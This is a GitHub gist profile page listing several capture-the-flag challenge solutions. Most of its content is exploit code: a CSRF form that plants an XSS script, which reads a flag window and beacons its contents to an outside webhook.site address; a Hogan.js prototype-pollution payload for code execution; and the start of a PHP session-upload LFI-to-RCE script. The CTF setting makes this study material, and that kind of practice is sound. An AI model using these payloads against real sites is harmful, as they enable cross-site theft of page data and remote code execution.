Skip to content

Instantly share code, notes, and snippets.

View ma1f0y's full-sized avatar
🚩
finding

Aneesh nadh ma1f0y

🚩
finding
9 followers · 7 following
View GitHub Profile
@ma1f0y
ma1f0y / csrf.html
Last active October 12, 2021 15:12
pbCTF-TDBxss solution
<html>
<body>
<form method="POST" action="https://tbdxss.chal.perfect.blue/change_note">
<input type="text" name="data" value="" id="xss"/>
</form>
</body>
<script>
document.getElementById("xss").value = `<script>` +
`let x = window.open('', 'flagwindow');` +
`navigator.sendBeacon('https://webhook.site/fc263f85-1387-42ca-b439-a65f2d5defce/', x.document.body.innerHTML)</scr` + `ipt>`;
@ma1f0y
ma1f0y / payload.js
Created November 4, 2021 10:12
Hogan.js Prototype pollution to RCE
const hogan = require("hogan.js");
var data = {
screenName: "dhg",
};
Object.prototype.asString = true
Object.prototype.name = '}}}.a(console.log("Hacked"))//'
var template = hogan.compile("Follow @{{screenName}}.");
@ma1f0y
ma1f0y / figlet.md
Last active December 19, 2021 12:44

Figlet

description

here is a figlet as a service , it's only running the "figlet" command , try to hack it!

Aneesh

@ma1f0y
ma1f0y / php_session.py
Created December 24, 2021 08:42
php session_upload_progress lfi to rce
import requests
import string
from pwn import *
from base64 import b64decode,b64encode
from random import sample, randint
#HOST='http://localhost:5001'
#while true; do cat /var/lib/php/sessions/sess_aneesh ; done;
@ma1f0y
ma1f0y / a.html
Last active February 27, 2024 05:53
Solution for Image gallery 2
<html>
<body>
<script>
const url = "http://web2.bi0s.in"
const blob = new Blob(['a'], {type: "image/png"})
const data = new FormData()
const caches = Array.from({length: 18}, (_, i) => i+1).map(x => x.toString())
const lens = { 4: 'AAAA',8: 'AAAAAAA', 6: 'AAAAAAAA', 12: 'AAAAAAAAAA', 10: 'AAAAAAAAAAA', 16: 'AAAAAAAAAAAAA', 14: 'AAAAAAAAAAAAAA', 20: 'AAAAAAAAAAAAAAAA', 18: 'AAAAAAAAAAAAAAAAA', 24: 'AAAAAAAAAAAAAAAAAAA', 22: 'AAAAAAAAAAAAAAAAAAAA', 28: 'AAAAAAAAAAAAAAAAAAAAAA', 26: 'AAAAAAAAAAAAAAAAAAAAAAA', 32: 'AAAAAAAAAAAAAAAAAAAAAAAAA', 30: 'AAAAAAAAAAAAAAAAAAAAAAAAAA', 36: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA', 34: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA', 38: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'}